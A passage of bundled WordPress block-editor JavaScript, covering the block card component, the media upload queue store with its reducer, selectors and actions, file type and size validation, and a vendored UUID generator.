32310 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tip, { children: globalTips[randomIndex] });
32311}
32312var tips_default = Tips;
32313
32314
32315;// ./node_modules/@wordpress/icons/build-module/library/chevron-right.js
32316
32317
32318var chevron_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z" }) });
32319
32320
32321;// ./node_modules/@wordpress/icons/build-module/library/chevron-left.js
32322
32323
32324var chevron_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z" }) });
32325
32326
32327;// ./node_modules/@wordpress/block-editor/build-module/components/block-card/index.js
32328
32329
32330
32331
32332
32333
32334
32335
32336
32337
32338const { Badge } = unlock(external_wp_components_namespaceObject.privateApis);
32339function BlockCard({
32340 title,
32341 icon,
32342 description,
32343 blockType,
32344 className,
32345 name,
32346 allowParentNavigation,
32347 children
32348}) {
32349 if (blockType) {
32350 external_wp_deprecated_default()("`blockType` property in `BlockCard component`", {
32351 since: "5.7",
32352 alternative: "`title, icon and description` properties"
32353 });
32354 ({ title, icon, description } = blockType);
32355 }
32356 const parentNavBlockClientId = (0,external_wp_data_namespaceObject.useSelect)(
32357 (select) => {
32358 if (!allowParentNavigation) {
32359 return;
32360 }
32361 const { getSelectedBlockClientId, getBlockParentsByBlockName } = select(store);
32362 const _selectedBlockClientId = getSelectedBlockClientId();
32363 return getBlockParentsByBlockName(
32364 _selectedBlockClientId,
32365 "core/navigation",
32366 true
32367 )[0];
32368 },
32369 [allowParentNavigation]
32370 );
32371 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
32372 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: dist_clsx("block-editor-block-card", className), children: [
32373 allowParentNavigation && parentNavBlockClientId && // This is only used by the Navigation block for now. It's not ideal having Navigation block specific code here.
32374 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32375 external_wp_components_namespaceObject.Button,
32376 {
32377 onClick: () => selectBlock(parentNavBlockClientId),
32378 label: (0,external_wp_i18n_namespaceObject.__)("Go to parent Navigation block"),
32379 style: (
32380 // TODO: This style override is also used in ToolsPanelHeader.
32381 // It should be supported out-of-the-box by Button.
32382 { minWidth: 24, padding: 0 }
32383 ),
32384 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
32385 size: "small"
32386 }
32387 ),
32388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon, showColors: true }),
32389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
32390 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("h2", { className: "block-editor-block-card__title", children: [
32391 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-card__name", children: !!name?.length ? name : title }),
32392 !!name?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Badge, { children: title })
32393 ] }),
32394 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { className: "block-editor-block-card__description", children: description }),
32395 children
32396 ] })
32397 ] });
32398}
32399var block_card_default = BlockCard;
32400
32401
32402;// ./node_modules/@wordpress/upload-media/build-module/store/types.js
32403var Type = /* @__PURE__ */ ((Type2) => {
32404 Type2["Unknown"] = "REDUX_UNKNOWN";
32405 Type2["Add"] = "ADD_ITEM";
32406 Type2["Prepare"] = "PREPARE_ITEM";
32407 Type2["Cancel"] = "CANCEL_ITEM";
32408 Type2["Remove"] = "REMOVE_ITEM";
32409 Type2["PauseItem"] = "PAUSE_ITEM";
32410 Type2["ResumeItem"] = "RESUME_ITEM";
32411 Type2["PauseQueue"] = "PAUSE_QUEUE";
32412 Type2["ResumeQueue"] = "RESUME_QUEUE";
32413 Type2["OperationStart"] = "OPERATION_START";
32414 Type2["OperationFinish"] = "OPERATION_FINISH";
32415 Type2["AddOperations"] = "ADD_OPERATIONS";
32416 Type2["CacheBlobUrl"] = "CACHE_BLOB_URL";
32417 Type2["RevokeBlobUrls"] = "REVOKE_BLOB_URLS";
32418 Type2["UpdateSettings"] = "UPDATE_SETTINGS";
32419 return Type2;
32420})(Type || {});
32421var ItemStatus = /* @__PURE__ */ ((ItemStatus2) => {
32422 ItemStatus2["Processing"] = "PROCESSING";
32423 ItemStatus2["Paused"] = "PAUSED";
32424 return ItemStatus2;
32425})(ItemStatus || {});
32426var OperationType = /* @__PURE__ */ ((OperationType2) => {
32427 OperationType2["Prepare"] = "PREPARE";
32428 OperationType2["Upload"] = "UPLOAD";
32429 return OperationType2;
32430})(OperationType || {});
32431
32432
32433;// ./node_modules/@wordpress/upload-media/build-module/store/reducer.js
32434
32435const reducer_noop = () => {
32436};
32437const DEFAULT_STATE = {
32438 queue: [],
32439 queueStatus: "active",
32440 blobUrls: {},
32441 settings: {
32442 mediaUpload: reducer_noop
32443 }
32444};
32445function reducer_reducer(state = DEFAULT_STATE, action = { type: Type.Unknown }) {
32446 switch (action.type) {
32447 case Type.PauseQueue: {
32448 return {
32449 ...state,
32450 queueStatus: "paused"
32451 };
32452 }
32453 case Type.ResumeQueue: {
32454 return {
32455 ...state,
32456 queueStatus: "active"
32457 };
32458 }
32459 case Type.Add:
32460 return {
32461 ...state,
32462 queue: [...state.queue, action.item]
32463 };
32464 case Type.Cancel:
32465 return {
32466 ...state,
32467 queue: state.queue.map(
32468 (item) => item.id === action.id ? {
32469 ...item,
32470 error: action.error
32471 } : item
32472 )
32473 };
32474 case Type.Remove:
32475 return {
32476 ...state,
32477 queue: state.queue.filter((item) => item.id !== action.id)
32478 };
32479 case Type.OperationStart: {
32480 return {
32481 ...state,
32482 queue: state.queue.map(
32483 (item) => item.id === action.id ? {
32484 ...item,
32485 currentOperation: action.operation
32486 } : item
32487 )
32488 };
32489 }
32490 case Type.AddOperations:
32491 return {
32492 ...state,
32493 queue: state.queue.map((item) => {
32494 if (item.id !== action.id) {
32495 return item;
32496 }
32497 return {
32498 ...item,
32499 operations: [
32500 ...item.operations || [],
32501 ...action.operations
32502 ]
32503 };
32504 })
32505 };
32506 case Type.OperationFinish:
32507 return {
32508 ...state,
32509 queue: state.queue.map((item) => {
32510 if (item.id !== action.id) {
32511 return item;
32512 }
32513 const operations = item.operations ? item.operations.slice(1) : [];
32514 const attachment = item.attachment || action.item.attachment ? {
32515 ...item.attachment,
32516 ...action.item.attachment
32517 } : void 0;
32518 return {
32519 ...item,
32520 currentOperation: void 0,
32521 operations,
32522 ...action.item,
32523 attachment,
32524 additionalData: {
32525 ...item.additionalData,
32526 ...action.item.additionalData
32527 }
32528 };
32529 })
32530 };
32531 case Type.CacheBlobUrl: {
32532 const blobUrls = state.blobUrls[action.id] || [];
32533 return {
32534 ...state,
32535 blobUrls: {
32536 ...state.blobUrls,
32537 [action.id]: [...blobUrls, action.blobUrl]
32538 }
32539 };
32540 }
32541 case Type.RevokeBlobUrls: {
32542 const newBlobUrls = { ...state.blobUrls };
32543 delete newBlobUrls[action.id];
32544 return {
32545 ...state,
32546 blobUrls: newBlobUrls
32547 };
32548 }
32549 case Type.UpdateSettings: {
32550 return {
32551 ...state,
32552 settings: {
32553 ...state.settings,
32554 ...action.settings
32555 }
32556 };
32557 }
32558 }
32559 return state;
32560}
32561var reducer_reducer_default = reducer_reducer;
32562
32563
32564;// ./node_modules/@wordpress/upload-media/build-module/store/selectors.js
32565function getItems(state) {
32566 return state.queue;
32567}
32568function isUploading(state) {
32569 return state.queue.length >= 1;
32570}
32571function isUploadingByUrl(state, url) {
32572 return state.queue.some(
32573 (item) => item.attachment?.url === url || item.sourceUrl === url
32574 );
32575}
32576function isUploadingById(state, attachmentId) {
32577 return state.queue.some(
32578 (item) => item.attachment?.id === attachmentId || item.sourceAttachmentId === attachmentId
32579 );
32580}
32581function selectors_getSettings(state) {
32582 return state.settings;
32583}
32584
32585
32586;// ./node_modules/@wordpress/upload-media/build-module/store/private-selectors.js
32587
32588function getAllItems(state) {
32589 return state.queue;
32590}
32591function getItem(state, id) {
32592 return state.queue.find((item) => item.id === id);
32593}
32594function isBatchUploaded(state, batchId) {
32595 const batchItems = state.queue.filter(
32596 (item) => batchId === item.batchId
32597 );
32598 return batchItems.length === 0;
32599}
32600function isUploadingToPost(state, postOrAttachmentId) {
32601 return state.queue.some(
32602 (item) => item.currentOperation === OperationType.Upload && item.additionalData.post === postOrAttachmentId
32603 );
32604}
32605function getPausedUploadForPost(state, postOrAttachmentId) {
32606 return state.queue.find(
32607 (item) => item.status === ItemStatus.Paused && item.additionalData.post === postOrAttachmentId
32608 );
32609}
32610function isPaused(state) {
32611 return state.queueStatus === "paused";
32612}
32613function getBlobUrls(state, id) {
32614 return state.blobUrls[id] || [];
32615}
32616
32617
32618;// ./node_modules/@wordpress/upload-media/node_modules/uuid/dist/esm-browser/native.js
32619const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
32620/* harmony default export */ const esm_browser_native = ({
32621 randomUUID
32622});
32623;// ./node_modules/@wordpress/upload-media/node_modules/uuid/dist/esm-browser/rng.js
32624// Unique ID creation requires a high quality random # generator. In the browser we therefore
32625// require the crypto API and do not support built-in fallback to lower quality random number
32626// generators (like Math.random()).
32627let getRandomValues;
32628const rnds8 = new Uint8Array(16);
32629function rng() {
32630 // lazy load so that environments that need to polyfill have a chance to do so
32631 if (!getRandomValues) {
32632 // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
32633 getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
32634
32635 if (!getRandomValues) {
32636 throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
32637 }
32638 }
32639
32640 return getRandomValues(rnds8);
32641}
32642;// ./node_modules/@wordpress/upload-media/node_modules/uuid/dist/esm-browser/stringify.js
32643
32644/**
32645 * Convert array of 16 byte values to UUID string format of the form:
32646 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
32647 */
32648
32649const byteToHex = [];
32650
32651for (let i = 0; i < 256; ++i) {
32652 byteToHex.push((i + 0x100).toString(16).slice(1));
32653}
32654
32655function unsafeStringify(arr, offset = 0) {
32656 // Note: Be careful editing this code! It's been tuned for performance
32657 // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
32658 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
32659}
32660
32661function stringify(arr, offset = 0) {
32662 const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one
32663 // of the following:
32664 // - One or more input array values don't map to a hex octet (leading to
32665 // "undefined" in the uuid)
32666 // - Invalid input values for the RFC `version` or `variant` fields
32667
32668 if (!validate(uuid)) {
32669 throw TypeError('Stringified UUID is invalid');
32670 }
32671
32672 return uuid;
32673}
32674
32675/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
32676;// ./node_modules/@wordpress/upload-media/node_modules/uuid/dist/esm-browser/v4.js
32677
32678
32679
32680
32681function v4(options, buf, offset) {
32682 if (esm_browser_native.randomUUID && !buf && !options) {
32683 return esm_browser_native.randomUUID();
32684 }
32685
32686 options = options || {};
32687 const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`
32688
32689 rnds[6] = rnds[6] & 0x0f | 0x40;
32690 rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided
32691
32692 if (buf) {
32693 offset = offset || 0;
32694
32695 for (let i = 0; i < 16; ++i) {
32696 buf[offset + i] = rnds[i];
32697 }
32698
32699 return buf;
32700 }
32701
32702 return unsafeStringify(rnds);
32703}
32704
32705/* harmony default export */ const esm_browser_v4 = (v4);
32706;// ./node_modules/@wordpress/upload-media/build-module/upload-error.js
32707class UploadError extends Error {
32708 code;
32709 file;
32710 constructor({ code, message, file, cause }) {
32711 super(message, { cause });
32712 Object.setPrototypeOf(this, new.target.prototype);
32713 this.code = code;
32714 this.file = file;
32715 }
32716}
32717
32718
32719;// ./node_modules/@wordpress/upload-media/build-module/validate-mime-type.js
32720
32721
32722function validateMimeType(file, allowedTypes) {
32723 if (!allowedTypes) {
32724 return;
32725 }
32726 const isAllowedType = allowedTypes.some((allowedType) => {
32727 if (allowedType.includes("/")) {
32728 return allowedType === file.type;
32729 }
32730 return file.type.startsWith(`${allowedType}/`);
32731 });
32732 if (file.type && !isAllowedType) {
32733 throw new UploadError({
32734 code: "MIME_TYPE_NOT_SUPPORTED",
32735 message: (0,external_wp_i18n_namespaceObject.sprintf)(
32736 // translators: %s: file name.
32737 (0,external_wp_i18n_namespaceObject.__)("%s: Sorry, this file type is not supported here."),
32738 file.name
32739 ),
32740 file
32741 });
32742 }
32743}
32744
32745
32746;// ./node_modules/@wordpress/upload-media/build-module/get-mime-types-array.js
32747function getMimeTypesArray(wpMimeTypesObject) {
32748 if (!wpMimeTypesObject) {
32749 return null;
32750 }
32751 return Object.entries(wpMimeTypesObject).flatMap(
32752 ([extensionsString, mime]) => {
32753 const [type] = mime.split("/");
32754 const extensions = extensionsString.split("|");
32755 return [
32756 mime,
32757 ...extensions.map(
32758 (extension) => `${type}/${extension}`
32759 )
32760 ];
32761 }
32762 );
32763}
32764
32765
32766;// ./node_modules/@wordpress/upload-media/build-module/validate-mime-type-for-user.js
32767
32768
32769
32770function validateMimeTypeForUser(file, wpAllowedMimeTypes) {
32771 const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes);
32772 if (!allowedMimeTypesForUser) {
32773 return;
32774 }
32775 const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(
32776 file.type
32777 );
32778 if (file.type && !isAllowedMimeTypeForUser) {
32779 throw new UploadError({
32780 code: "MIME_TYPE_NOT_ALLOWED_FOR_USER",
32781 message: (0,external_wp_i18n_namespaceObject.sprintf)(
32782 // translators: %s: file name.
32783 (0,external_wp_i18n_namespaceObject.__)(
32784 "%s: Sorry, you are not allowed to upload this file type."
32785 ),
32786 file.name
32787 ),
32788 file
32789 });
32790 }
32791}
32792
32793
32794;// ./node_modules/@wordpress/upload-media/build-module/validate-file-size.js
32795
32796
32797function validateFileSize(file, maxUploadFileSize) {
32798 if (file.size <= 0) {
32799 throw new UploadError({
32800 code: "EMPTY_FILE",
32801 message: (0,external_wp_i18n_namespaceObject.sprintf)(
32802 // translators: %s: file name.
32803 (0,external_wp_i18n_namespaceObject.__)("%s: This file is empty."),
32804 file.name
32805 ),
32806 file
32807 });
32808 }
32809 if (maxUploadFileSize && file.size > maxUploadFileSize) {
32810 throw new UploadError({
32811 code: "SIZE_ABOVE_LIMIT",
32812 message: (0,external_wp_i18n_namespaceObject.sprintf)(
32813 // translators: %s: file name.
32814 (0,external_wp_i18n_namespaceObject.__)(
32815 "%s: This file exceeds the maximum upload size for this site."
32816 ),
32817 file.name
32818 ),
32819 file
32820 });
32821 }
32822}
32823
32824
32825;// ./node_modules/@wordpress/upload-media/build-module/store/actions.js
32826
32827
32828
32829
32830
32831function addItems({
32832 files,
32833 onChange,
32834 onSuccess,
32835 onError,
32836 onBatchSuccess,
32837 additionalData,
32838 allowedTypes
32839}) {
32840 return async ({ select, dispatch }) => {
32841 const batchId = esm_browser_v4();
32842 for (const file of files) {
32843 try {
32844 validateMimeType(file, allowedTypes);
32845 validateMimeTypeForUser(
32846 file,
32847 select.getSettings().allowedMimeTypes
32848 );
32849 } catch (error) {
32850 onError?.(error);
32851 continue;
32852 }
32853 try {
32854 validateFileSize(
32855 file,
32856 select.getSettings().maxUploadFileSize
32857 );
32858 } catch (error) {
32859 onError?.(error);
32860 continue;
32861 }
32862 dispatch.addItem({
32863 file,
32864 batchId,
32865 onChange,
32866 onSuccess,
32867 onBatchSuccess,
32868 onError,
32869 additionalData
32870 });
32871 }
32872 };
32873}
32874function cancelItem(id, error, silent = false) {
32875 return async ({ select, dispatch }) => {
32876 const item = select.getItem(id);
32877 if (!item) {
32878 return;
32879 }
32880 item.abortController?.abort();
32881 if (!silent) {
32882 const { onError } = item;
32883 onError?.(error ?? new Error("Upload cancelled"));
32884 if (!onError && error) {
32885 console.error("Upload cancelled", error);
32886 }
32887 }
32888 dispatch({
32889 type: Type.Cancel,
32890 id,
32891 error
32892 });
32893 dispatch.removeItem(id);
32894 dispatch.revokeBlobUrls(id);
32895 if (item.batchId && select.isBatchUploaded(item.batchId)) {
32896 item.onBatchSuccess?.();
32897 }
32898 };
32899}
32900
32901
32902;// ./node_modules/@wordpress/upload-media/build-module/utils.js
32903
32904
32905function convertBlobToFile(fileOrBlob) {
32906 if (fileOrBlob instanceof File) {
32907 return fileOrBlob;
32908 }
32909 const ext = fileOrBlob.type.split("/")[1];
32910 const mediaType = "application/pdf" === fileOrBlob.type ? "document" : fileOrBlob.type.split("/")[0];
32911 return new File([fileOrBlob], `${mediaType}.${ext}`, {
32912 type: fileOrBlob.type
32913 });
32914}
32915function renameFile(file, name) {
32916 return new File([file], name, {
32917 type: file.type,
32918 lastModified: file.lastModified
32919 });
32920}
32921function cloneFile(file) {
32922 return renameFile(file, file.name);
32923}
32924function getFileExtension(file) {
32925 return file.includes(".") ? file.split(".").pop() || null : null;
32926}
32927function getFileBasename(name) {
32928 return name.includes(".") ? name.split(".").slice(0, -1).join(".") : name;
32929}
32930function getFileNameFromUrl(url) {
32931 return getFilename(url) || _x("unnamed", "file name");
32932}
32933
32934
32935;// ./node_modules/@wordpress/upload-media/build-module/stub-file.js
32936class StubFile extends File {
32937 constructor(fileName = "stub-file") {
32938 super([], fileName);
32939 }
32940}
32941
32942
32943;// ./node_modules/@wordpress/upload-media/build-module/store/private-actions.js
32944
32945
32946
32947
32948
32949function addItem({
32950 file: fileOrBlob,
32951 batchId,
32952 onChange,
32953 onSuccess,
32954 onBatchSuccess,
32955 onError,
32956 additionalData = {},
32957 sourceUrl,
32958 sourceAttachmentId,
32959 abortController,
32960 operations
32961}) {
32962 return async ({ dispatch }) => {
32963 const itemId = esm_browser_v4();
32964 const file = convertBlobToFile(fileOrBlob);
32965 let blobUrl;
32966 if (!(file instanceof StubFile)) {
32967 blobUrl = (0,external_wp_blob_namespaceObject.createBlobURL)(file);
32968 dispatch({
32969 type: Type.CacheBlobUrl,
32970 id: itemId,
32971 blobUrl
32972 });
32973 }
32974 dispatch({
32975 type: Type.Add,
32976 item: {
32977 id: itemId,
32978 batchId,
32979 status: ItemStatus.Processing,
32980 sourceFile: cloneFile(file),
32981 file,
32982 attachment: {
32983 url: blobUrl
32984 },
32985 additionalData: {
32986 convert_format: false,
32987 ...additionalData
32988 },
32989 onChange,
32990 onSuccess,
32991 onBatchSuccess,
32992 onError,
32993 sourceUrl,
32994 sourceAttachmentId,
32995 abortController: abortController || new AbortController(),
32996 operations: Array.isArray(operations) ? operations : [OperationType.Prepare]
32997 }
32998 });
32999 dispatch.processItem(itemId);
33000 };
33001}
33002function processItem(id) {
33003 return async ({ select, dispatch }) => {
33004 if (select.isPaused()) {
33005 return;
33006 }
33007 const item = select.getItem(id);
33008 const { attachment, onChange, onSuccess, onBatchSuccess, batchId } = item;
33009 const operation = Array.isArray(item.operations?.[0]) ? item.operations[0][0] : item.operations?.[0];
33010 if (attachment) {
33011 onChange?.([attachment]);
33012 }
33013 if (!operation) {
33014 if (attachment) {
33015 onSuccess?.([attachment]);
33016 }
33017 dispatch.revokeBlobUrls(id);
33018 if (batchId && select.isBatchUploaded(batchId)) {
33019 onBatchSuccess?.();
33020 }
33021 return;
33022 }
33023 if (!operation) {
33024 return;
33025 }
33026 dispatch({
33027 type: Type.OperationStart,
33028 id,
33029 operation
33030 });
33031 switch (operation) {
33032 case OperationType.Prepare:
33033 dispatch.prepareItem(item.id);
33034 break;
33035 case OperationType.Upload:
33036 dispatch.uploadItem(id);
33037 break;
33038 }
33039 };
33040}
33041function pauseQueue() {
33042 return {
33043 type: Type.PauseQueue
33044 };
33045}
33046function resumeQueue() {
33047 return async ({ select, dispatch }) => {
33048 dispatch({
33049 type: Type.ResumeQueue
33050 });
33051 for (const item of select.getAllItems()) {
33052 dispatch.processItem(item.id);
33053 }
33054 };
33055}
33056function removeItem(id) {
33057 return async ({ select, dispatch }) => {
33058 const item = select.getItem(id);
33059 if (!item) {
33060 return;
33061 }
33062 dispatch({
33063 type: Type.Remove,
33064 id
33065 });
33066 };
33067}
33068function finishOperation(id, updates) {
33069 return async ({ dispatch }) => {
33070 dispatch({
33071 type: Type.OperationFinish,
33072 id,
33073 item: updates
33074 });
33075 dispatch.processItem(id);
33076 };
33077}
33078function prepareItem(id) {
33079 return async ({ dispatch }) => {
33080 const operations = [OperationType.Upload];
33081 dispatch({
33082 type: Type.AddOperations,
33083 id,
33084 operations
33085 });
33086 dispatch.finishOperation(id, {});
33087 };
33088}
33089function uploadItem(id) {
33090 return async ({ select, dispatch }) => {
33091 const item = select.getItem(id);
33092 select.getSettings().mediaUpload({
33093 filesList: [item.file],
33094 additionalData: item.additionalData,
33095 signal: item.abortController?.signal,
33096 onFileChange: ([attachment]) => {
33097 if (!(0,external_wp_blob_namespaceObject.isBlobURL)(attachment.url)) {
33098 dispatch.finishOperation(id, {
33099 attachment
33100 });
33101 }
33102 },
33103 onSuccess: ([attachment]) => {
33104 dispatch.finishOperation(id, {
33105 attachment
33106 });
33107 },
33108 onError: (error) => {
33109 dispatch.cancelItem(id, error);
33110 }
33111 });
33112 };
33113}
33114function revokeBlobUrls(id) {
33115 return async ({ select, dispatch }) => {
33116 const blobUrls = select.getBlobUrls(id);
33117 for (const blobUrl of blobUrls) {
33118 (0,external_wp_blob_namespaceObject.revokeBlobURL)(blobUrl);
33119 }
33120 dispatch({
33121 type: Type.RevokeBlobUrls,
33122 id
33123 });
33124 };
33125}
33126function private_actions_updateSettings(settings) {
33127 return {
33128 type: Type.UpdateSettings,
33129 settings
33130 };
33131}
33132
33133
33134;// ./node_modules/@wordpress/upload-media/build-module/lock-unlock.js
33135
33136const { lock: lock_unlock_lock, unlock: lock_unlock_unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
33137 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
33138 "@wordpress/upload-media"
33139);
33140
33141
33142;// ./node_modules/@wordpress/upload-media/build-module/store/constants.js
33143const constants_STORE_NAME = "core/upload-media";
33144
33145
33146;// ./node_modules/@wordpress/upload-media/build-module/store/index.js
33147
33148
33149
33150
33151
33152
33153
33154
33155const store_storeConfig = {
33156 reducer: reducer_reducer_default,
33157 selectors: store_selectors_namespaceObject,
33158 actions: store_actions_namespaceObject
33159};
33160const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, {
33161 reducer: reducer_reducer_default,
33162 selectors: store_selectors_namespaceObject,
33163 actions: store_actions_namespaceObject
33164});
33165(0,external_wp_data_namespaceObject.register)(store_store);
33166lock_unlock_unlock(store_store).registerPrivateActions(store_private_actions_namespaceObject);
33167lock_unlock_unlock(store_store).registerPrivateSelectors(store_private_selectors_namespaceObject);
33168
33169
33170;// ./node_modules/@wordpress/upload-media/build-module/components/provider/with-registry-provider.js
33171
33172
33173
33174
33175
33176
33177function getSubRegistry(subRegistries, registry, useSubRegistry) {
33178 if (!useSubRegistry) {
33179 return registry;
33180 }
33181 let subRegistry = subRegistries.get(registry);
33182 if (!subRegistry) {
33183 subRegistry = (0,external_wp_data_namespaceObject.createRegistry)({}, registry);
33184 subRegistry.registerStore(constants_STORE_NAME, store_storeConfig);
33185 subRegistries.set(registry, subRegistry);
33186 }
33187 return subRegistry;
33188}
33189const withRegistryProvider = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
33190 (WrappedComponent) => ({ useSubRegistry = true, ...props }) => {
33191 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
33192 const [subRegistries] = (0,external_wp_element_namespaceObject.useState)(() => /* @__PURE__ */ new WeakMap());
33193 const subRegistry = getSubRegistry(
33194 subRegistries,
33195 registry,
33196 useSubRegistry
33197 );
33198 if (subRegistry === registry) {
33199 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry, ...props });
33200 }
33201 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_data_namespaceObject.RegistryProvider, { value: subRegistry, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry: subRegistry, ...props }) });
33202 },
33203 "withRegistryProvider"
33204);
33205var with_registry_provider_default = withRegistryProvider;
33206
33207
33208;// ./node_modules/@wordpress/upload-media/build-module/components/provider/index.js
33209
33210
33211
33212
33213
33214
33215const MediaUploadProvider = with_registry_provider_default((props) => {
33216 const { children, settings } = props;
33217 const { updateSettings } = lock_unlock_unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
33218 (0,external_wp_element_namespaceObject.useEffect)(() => {
33219 updateSettings(settings);
33220 }, [settings, updateSettings]);
33221 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children });
33222});
33223var provider_default = MediaUploadProvider;
33224
33225
33226;// ./node_modules/@wordpress/block-editor/build-module/components/provider/with-registry-provider.js
33227
33228
33229
33230
33231
33232
33233function with_registry_provider_getSubRegistry(subRegistries, registry, useSubRegistry) {
33234 if (!useSubRegistry) {
33235 return registry;
33236 }
33237 let subRegistry = subRegistries.get(registry);
33238 if (!subRegistry) {
33239 subRegistry = (0,external_wp_data_namespaceObject.createRegistry)({}, registry);
33240 subRegistry.registerStore(STORE_NAME, storeConfig);
33241 subRegistries.set(registry, subRegistry);
33242 }
33243 return subRegistry;
33244}
33245const with_registry_provider_withRegistryProvider = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
33246 (WrappedComponent) => ({ useSubRegistry = true, ...props }) => {
33247 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
33248 const [subRegistries] = (0,external_wp_element_namespaceObject.useState)(() => /* @__PURE__ */ new WeakMap());
33249 const subRegistry = with_registry_provider_getSubRegistry(
33250 subRegistries,
33251 registry,
33252 useSubRegistry
33253 );
33254 if (subRegistry === registry) {
33255 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry, ...props });
33256 }
33257 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_data_namespaceObject.RegistryProvider, { value: subRegistry, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { registry: subRegistry, ...props }) });
33258 },
33259 "withRegistryProvider"
33260);
33261var with_registry_provider_with_registry_provider_default = with_registry_provider_withRegistryProvider;
33262
33263
33264;// ./node_modules/@wordpress/block-editor/build-module/components/provider/use-block-sync.js
33265
33266
33267
33268
33269const use_block_sync_noop = () => {
33270};
33271function useBlockSync({
33272 clientId = null,
33273 value: controlledBlocks,
33274 selection: controlledSelection,
33275 onChange = use_block_sync_noop,
33276 onInput = use_block_sync_noop
33277}) {
33278 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
33279 const {
33280 resetBlocks,
33281 resetSelection,
33282 replaceInnerBlocks,
33283 setHasControlledInnerBlocks,
33284 __unstableMarkNextChangeAsNotPersistent
33285 } = registry.dispatch(store);
33286 const { getBlockName, getBlocks, getSelectionStart, getSelectionEnd } = registry.select(store);
33287 const isControlled = (0,external_wp_data_namespaceObject.useSelect)(
33288 (select) => {
33289 return !clientId || select(store).areInnerBlocksControlled(clientId);
33290 },
33291 [clientId]
33292 );
33293 const pendingChangesRef = (0,external_wp_element_namespaceObject.useRef)({ incoming: null, outgoing: [] });
33294 const subscribedRef = (0,external_wp_element_namespaceObject.useRef)(false);
33295 const setControlledBlocks = () => {
33296 if (!controlledBlocks) {
33297 return;
33298 }
33299 __unstableMarkNextChangeAsNotPersistent();
33300 if (clientId) {
33301 registry.batch(() => {
33302 setHasControlledInnerBlocks(clientId, true);
33303 const storeBlocks = controlledBlocks.map(
33304 (block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block)
33305 );
33306 if (subscribedRef.current) {
33307 pendingChangesRef.current.incoming = storeBlocks;
33308 }
33309 __unstableMarkNextChangeAsNotPersistent();
33310 replaceInnerBlocks(clientId, storeBlocks);
33311 });
